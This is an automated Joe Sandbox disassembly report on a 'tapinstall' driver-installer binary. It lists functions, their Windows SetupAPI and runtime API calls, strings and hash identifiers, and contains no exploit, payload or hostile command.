                                                                                                                      • API String ID: 3173522582-0
                                                                                                                      • Opcode ID: 0f8fc59074820430211e5edccfc92087bcdcd104a7c28eeafd2b21ab4534d517
                                                                                                                      • Instruction ID: 495ce13f28cd9a4e31fed58e3866b69b1fb9c13c1a9622a9032fc2bb3fea065f
                                                                                                                      • Opcode Fuzzy Hash: 0f8fc59074820430211e5edccfc92087bcdcd104a7c28eeafd2b21ab4534d517
                                                                                                                      • Instruction Fuzzy Hash: 3D027A76E08A82DAFB11FF64D4801FCB7B2EB45B8CB844476DA0D57A99DE38D524C360
                                                                                                                      Function 00007FF76A7092EC Relevance: 36.8, APIs: 10, Strings: 11, Instructions: 57COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      • try_get_function.LIBVCRUNTIME ref: 00007FF76A709307
                                                                                                                      • try_get_function.LIBVCRUNTIME ref: 00007FF76A709326
                                                                                                                        • Part of subcall function 00007FF76A7081A8: GetProcAddress.KERNEL32(?,?,00000006,00007FF76A708A2A,?,?,00000000,00007FF76A7077AE,?,?,00000000,00007FF76A706B85), ref: 00007FF76A708300
                                                                                                                      • try_get_function.LIBVCRUNTIME ref: 00007FF76A709345
                                                                                                                        • Part of subcall function 00007FF76A7081A8: LoadLibraryExW.KERNELBASE(?,?,00000006,00007FF76A708A2A,?,?,00000000,00007FF76A7077AE,?,?,00000000,00007FF76A706B85), ref: 00007FF76A70824B
                                                                                                                        • Part of subcall function 00007FF76A7081A8: GetLastError.KERNEL32(?,?,00000006,00007FF76A708A2A,?,?,00000000,00007FF76A7077AE,?,?,00000000,00007FF76A706B85), ref: 00007FF76A708259
                                                                                                                        • Part of subcall function 00007FF76A7081A8: LoadLibraryExW.KERNEL32(?,?,00000006,00007FF76A708A2A,?,?,00000000,00007FF76A7077AE,?,?,00000000,00007FF76A706B85), ref: 00007FF76A70829B
                                                                                                                      • try_get_function.LIBVCRUNTIME ref: 00007FF76A709364
                                                                                                                        • Part of subcall function 00007FF76A7081A8: FreeLibrary.KERNEL32(?,?,00000006,00007FF76A708A2A,?,?,00000000,00007FF76A7077AE,?,?,00000000,00007FF76A706B85), ref: 00007FF76A7082D4
                                                                                                                      • try_get_function.LIBVCRUNTIME ref: 00007FF76A709383
                                                                                                                      • try_get_function.LIBVCRUNTIME ref: 00007FF76A7093A2
                                                                                                                      • try_get_function.LIBVCRUNTIME ref: 00007FF76A7093C1
                                                                                                                      • try_get_function.LIBVCRUNTIME ref: 00007FF76A7093E0
                                                                                                                      • try_get_function.LIBVCRUNTIME ref: 00007FF76A7093FF
                                                                                                                      • try_get_function.LIBVCRUNTIME ref: 00007FF76A70941E
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: try_get_function$Library$Load$AddressErrorFreeLastProc
                                                                                                                      • String ID: AreFileApisANSI$CompareStringEx$EnumSystemLocalesEx$GetDateFormatEx$GetLocaleInfoEx$GetTimeFormatEx$GetUserDefaultLocaleName$IsValidLocaleName$LCIDToLocaleName$LCMapStringEx$LocaleNameToLCID
                                                                                                                      • API String ID: 3255926029-3252031757
                                                                                                                      • Opcode ID: f5ddb8dc0f958fd9ea081183d1d9282a99c58eacf92a6cfce449543f48408e78
                                                                                                                      • Instruction ID: 8538fcefe69264d68d152f932bb1f11dc346adced7b924c9f57308ba91791aea
                                                                                                                      • Opcode Fuzzy Hash: f5ddb8dc0f958fd9ea081183d1d9282a99c58eacf92a6cfce449543f48408e78
                                                                                                                      • Instruction Fuzzy Hash: B63192A4908A4BE1FA04FF64EE526F0A321FF4C304FC054B7D40D1A1A58F3CA68AC3A1
                                                                                                                      Function 00007FF76A6D61F0 Relevance: 28.2, APIs: 12, Strings: 4, Instructions: 191COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: Get_$Des_Res_$Conf_Log_$First_Free_Handle$Data_Next_$DetailDeviceInfoListNode_SetupSize_Status_
                                                                                                                      • String ID: DMA : %u$IO : %04I64x-%04I64x$IRQ : %u$MEM : %08I64x-%08I64x
                                                                                                                      • API String ID: 2957808706-3427375868
                                                                                                                      • Opcode ID: a4e06f8e4a64dca8354c6e1283bba188da2d5f0b0782a176430cef695ac593de
                                                                                                                      • Instruction ID: 7035cadb6300a0a50cafb0ab2aecf7fa5f95086d73388660e73eacde0f5a963e
                                                                                                                      • Opcode Fuzzy Hash: a4e06f8e4a64dca8354c6e1283bba188da2d5f0b0782a176430cef695ac593de
                                                                                                                      • Instruction Fuzzy Hash: C5918E36628682C6FB50BF24E44467AF765FB85BC8F804075EA4D47A99DF3CE814CB20
                                                                                                                      Function 00007FF76A6D2C90 Relevance: 26.6, APIs: 11, Strings: 4, Instructions: 380serviceregistryCOMMON
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: Close$OpenService$ClassHandleSetup$ErrorFromGuidsLastManagerName_invalid_parameter_noinfo
                                                                                                                      • String ID: LowerFilters$UpperFilters$lower$upper
                                                                                                                      • API String ID: 159866419-3449112408
                                                                                                                      • Opcode ID: 04d78bdca285827dd18647d1427b74e056b8c47343acbe8526b1cd4a7cfcbc6c
                                                                                                                      • Instruction ID: c8e7348b0ddb9bbf8fc46905a800b2d0e829a2df03ae2e0f702112e2321e6ac1
                                                                                                                      • Opcode Fuzzy Hash: 04d78bdca285827dd18647d1427b74e056b8c47343acbe8526b1cd4a7cfcbc6c
                                                                                                                      • Instruction Fuzzy Hash: 94E1DF22A09A42C1FA60BB15E94037AE2A2FF48FD4F8441B5DE1E477D5DF3DE8658320
                                                                                                                      Function 00007FF76A6E1088 Relevance: 24.7, APIs: 12, Strings: 2, Instructions: 195COMMONLIBRARYCODE
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: Decorator::getNameReplicator::operator+=Template
                                                                                                                      • String ID: generic-type-$template-parameter-
                                                                                                                      • API String ID: 2731555906-13229604
                                                                                                                      • Opcode ID: 84b3677d49f92f823a7e74a3a09ad7f2eb3bf894bac47f523860a981e25c4147
                                                                                                                      • Instruction ID: a630fd5f07c2ba99737dc69314f8e2fe436e02926f0a2994346eb37c0357c71d
                                                                                                                      • Opcode Fuzzy Hash: 84b3677d49f92f823a7e74a3a09ad7f2eb3bf894bac47f523860a981e25c4147
                                                                                                                      • Instruction Fuzzy Hash: 63919D62F1DA86C8FB10AF64D8501BCB7A2BB68B84BC000B6DA4D87795DF3DE515D320
                                                                                                                      Function 00007FF76A6D5BD0 Relevance: 21.3, APIs: 11, Strings: 1, Instructions: 272timeCOMMON
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: Setup$Driver$Info$InstallParams$DeviceEnumFormatListTime$BuildDateDestroyDetailErrorFileFreeLastLocalMessageSystem
                                                                                                                      • String ID:
                                                                                                                      • API String ID: 2668181066-3916222277
                                                                                                                      • Opcode ID: e4b5dfb2d01c01c868df09e416ecf3eefc922ffbc0b423e26137771d3025f2ca
                                                                                                                      • Instruction ID: 608f8544eaf08c3acfe64e1a73b3eea76b33f4971bc219325bbb1581f875d41f
                                                                                                                      • Opcode Fuzzy Hash: e4b5dfb2d01c01c868df09e416ecf3eefc922ffbc0b423e26137771d3025f2ca
                                                                                                                      • Instruction Fuzzy Hash: DEC17F35A18181C6F724BB65E4157FAB252FB88FC4F804075EA4E0B7C6CE7DE9508BA0
                                                                                                                      Function 00007FF76A6E3800 Relevance: 19.6, APIs: 8, Strings: 3, Instructions: 316COMMONLIBRARYCODE
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: FrameHandler3::Unwind$BlockException$CatchDestructExecutionFramesHandlerHelperIs_bad_exception_allowedMatchNestedObjectSearchStateThrowTypestd::bad_alloc::bad_alloc
                                                                                                                      • String ID: csm$csm$csm
                                                                                                                      • API String ID: 15165021-393685449
                                                                                                                      • Opcode ID: 21b97b16db538992eb6a75333495f7bcb45038915a3eb3cb518b00d563e8fba0
                                                                                                                      • Instruction ID: 4dd25e798de57cdb0d8841922b63379dbb962f78dfdb34879a0ee090d07756d9
                                                                                                                      • Opcode Fuzzy Hash: 21b97b16db538992eb6a75333495f7bcb45038915a3eb3cb518b00d563e8fba0
                                                                                                                      • Instruction Fuzzy Hash: 98E17E72A0C741CAFB20AB65D4403ADB7A2FB64B98F900175EE8D47B65DF39E494C710
                                                                                                                      Function 00007FF76A6D6530 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 116COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: Des_Res_$Get_$Data_Free_HandleNext_$Size_
                                                                                                                      • String ID: DMA : %u$IO : %04I64x-%04I64x$IRQ : %u$MEM : %08I64x-%08I64x
                                                                                                                      • API String ID: 1110773400-3427375868
                                                                                                                      • Opcode ID: 9e4a8363610eefb0b6cbcea2d3461c166d1163f148688767d300006fdf73812f
                                                                                                                      • Instruction ID: a34e8eac30f7a7dfa49aac46893a51cab8fadd399dc779b5ddebb26bf860fc1d
                                                                                                                      • Opcode Fuzzy Hash: 9e4a8363610eefb0b6cbcea2d3461c166d1163f148688767d300006fdf73812f
                                                                                                                      • Instruction Fuzzy Hash: 2A418D26A18682C2F660BF25E554679F362FB88FC8F844075DE4D47795DE3CE850CB20
                                                                                                                      Function 00007FF76A6D5920 Relevance: 16.6, APIs: 11, Instructions: 150COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: Setup$Driver$DeviceFileInfoInstallParamsQueue$ListScan$BuildCallClassCloseDestroyDetailEnumErrorFormatFreeInstallerLastLocalMessageOpenSelected
                                                                                                                      • String ID:
                                                                                                                      • API String ID: 1606212837-0
                                                                                                                      • Opcode ID: e12b59f62743ec06b6094670a4a11f57fde35331bb7a5217e71e5602add53916
                                                                                                                      • Instruction ID: 5e791960fbc1267c7211d5d634d26e9b7f1db4809693f4403f864b585b881863
                                                                                                                      • Opcode Fuzzy Hash: e12b59f62743ec06b6094670a4a11f57fde35331bb7a5217e71e5602add53916
                                                                                                                      • Instruction Fuzzy Hash: 1061BF31618682C6F720BF21E8142EAB2A6FB44FD4F800275DA1E07AD5CF3CE5158760
                                                                                                                      Function 00007FF76A6D34B0 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 83libraryloaderCOMMON
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: Library$AddressErrorFreeFullLastLoadNamePathProc
                                                                                                                      • String ID: SetupUninstallOEMInfW$setupapi.dll
                                                                                                                      • API String ID: 3805412813-3713901415
                                                                                                                      • Opcode ID: 07190c82b7a186e3b5898b35f52d877f32724abc198f9c48db99fcc8c26ec65d
                                                                                                                      • Instruction ID: ae62c4a161e41cf5f9f5e567aeb677547765d9a025f9eba341b03d52e5021ece
                                                                                                                      • Opcode Fuzzy Hash: 07190c82b7a186e3b5898b35f52d877f32724abc198f9c48db99fcc8c26ec65d
                                                                                                                      • Instruction Fuzzy Hash: CD315721A0C686C2FB70BB14E4593BAE252EF88B84FC044B5DA4D47795CF3CE8549764
                                                                                                                      Function 00007FF76A6E3CDC Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 317COMMONLIBRARYCODE
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: Exception$DestructHelperIs_bad_exception_allowedMatchObjectThrowTypestd::bad_alloc::bad_alloc
                                                                                                                      • String ID: csm$csm$csm
                                                                                                                      • API String ID: 3999431683-393685449
                                                                                                                      • Opcode ID: dd461791980e8857ea159d38e58e30428d4de1eaec1c9c9603251b4acd30a3b7
                                                                                                                      • Instruction ID: 5faae7a1a6680d6a84db484afd5886f1b3268cd4edc845131654c7b454f98a0f
                                                                                                                      • Opcode Fuzzy Hash: dd461791980e8857ea159d38e58e30428d4de1eaec1c9c9603251b4acd30a3b7
                                                                                                                      • Instruction Fuzzy Hash: 62E1BE73A0C682CAFB10AF35D4442ADBBA2FB64B48F514176DA8D47B55CF3AE485C710
                                                                                                                      Function 00007FF76A6D2540 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 139COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: Setup$Device$Info$ClassCreateList$CallDestroyFullInstallerNamePathPropertyRegistry
                                                                                                                      • String ID:
                                                                                                                      • API String ID: 1846165353-3916222277
                                                                                                                      • Opcode ID: cea8426861f3347b505c897b4f246ebb9bfdbc3591874b8a41b436473b598dc7
                                                                                                                      • Instruction ID: 8931f2aea92e1aa9ae95f47e808e9424aba402ee81e0d93a82680ba7f2a6a4d2
                                                                                                                      • Opcode Fuzzy Hash: cea8426861f3347b505c897b4f246ebb9bfdbc3591874b8a41b436473b598dc7
                                                                                                                      • Instruction Fuzzy Hash: 0A516F72A08681C2FB21AF25E4047AAB3A6FB88BD0F944271DA9D43B94DF7CD555CB10
                                                                                                                      Function 00007FF76A6E07B4 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 76COMMONLIBRARYCODE
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: NameName::Name::operator+Name::operator+=$Decorator::getDimensionName::doPcharSigned
                                                                                                                      • String ID: `template-parameter$void
                                                                                                                      • API String ID: 1951524168-4057429177
                                                                                                                      • Opcode ID: 7a7c9e4356da7ebb837bbe34803b1ef7ec7b8755a3141d29af5874025b868cc2
                                                                                                                      • Instruction ID: ab3eb9efa2fa6b089d92f8ae97ca50dfad6e7824175c64cf5d9a9d0b38a4acd2
                                                                                                                      • Opcode Fuzzy Hash: 7a7c9e4356da7ebb837bbe34803b1ef7ec7b8755a3141d29af5874025b868cc2
                                                                                                                      • Instruction Fuzzy Hash: AB314E21F1DA42C8FB01AF64D8502BAA3A2BB18B84FD50075CD0D5BB99DF3CE415C360
                                                                                                                      Function 00007FF76A6DD948 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 102COMMONLIBRARYCODE
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: NameName::$Name::doName::operator+Pchar
                                                                                                                      • String ID: `non-type-template-parameter
                                                                                                                      • API String ID: 3026640183-4247534891
                                                                                                                      • Opcode ID: 2045f689735eeea40cce7efe3b8163e352433e1db3c7d53e5d39b0a4b2283e44
                                                                                                                      • Instruction ID: 48783ba976f359852f9201cf31fcf5f30fc8b68aa38d5d87e987bc8d3a7f82ae
                                                                                                                      • Opcode Fuzzy Hash: 2045f689735eeea40cce7efe3b8163e352433e1db3c7d53e5d39b0a4b2283e44
                                                                                                                      • Instruction Fuzzy Hash: 66416822E0EA92D5F710FB11D4801BCB3A6FB14BC0BD980B5DA4D5B685EF39E8258760
                                                                                                                      Function 00007FF76A6D23C0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 84libraryloaderCOMMON
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: FreeLibrary$AddressAttributesFileFormatFullLoadLocalMessageNamePathProc
                                                                                                                      • String ID: UpdateDriverForPlugAndPlayDevicesW$newdev.dll
                                                                                                                      • API String ID: 3199543795-3767700378
                                                                                                                      • Opcode ID: 04ab7d4148ff324d2fd50ef0ea174a2fd79d77ffbdc2d0a2a02e6489278d7139
                                                                                                                      • Instruction ID: 225a7f9d60c2b62cd7856a7f5020b512ced1421de42bb0c705892f25686a1dd5
                                                                                                                      • Opcode Fuzzy Hash: 04ab7d4148ff324d2fd50ef0ea174a2fd79d77ffbdc2d0a2a02e6489278d7139
                                                                                                                      • Instruction Fuzzy Hash: 61313232A0C682C5FA61BF20E4547AAB361FB88B80F9445B5DB4D43795DF3CE499D720
                                                                                                                      Function 00007FF76A6DC60C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 51COMMONLIBRARYCODE
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: Name::operator+=$Decorator::getNameName::operator+$Name::Name::operator=ScopeScoped
                                                                                                                      • String ID: void
                                                                                                                      • API String ID: 3176039966-3531332078
                                                                                                                      • Opcode ID: 9e892f4fd707f0d60684168cfb52e33d9422594bf1c05951a142ce3f47b87fe0
                                                                                                                      • Instruction ID: 4edb601b7bd26db01091a337ac9028f46cd840fb6603ad196afb022c5b6008d1
                                                                                                                      • Opcode Fuzzy Hash: 9e892f4fd707f0d60684168cfb52e33d9422594bf1c05951a142ce3f47b87fe0
                                                                                                                      • Instruction Fuzzy Hash: 6D119062A1D686C5FB20BF24E4502B9F362FF98B84FC450B1D58E862A9DE2CE515C720
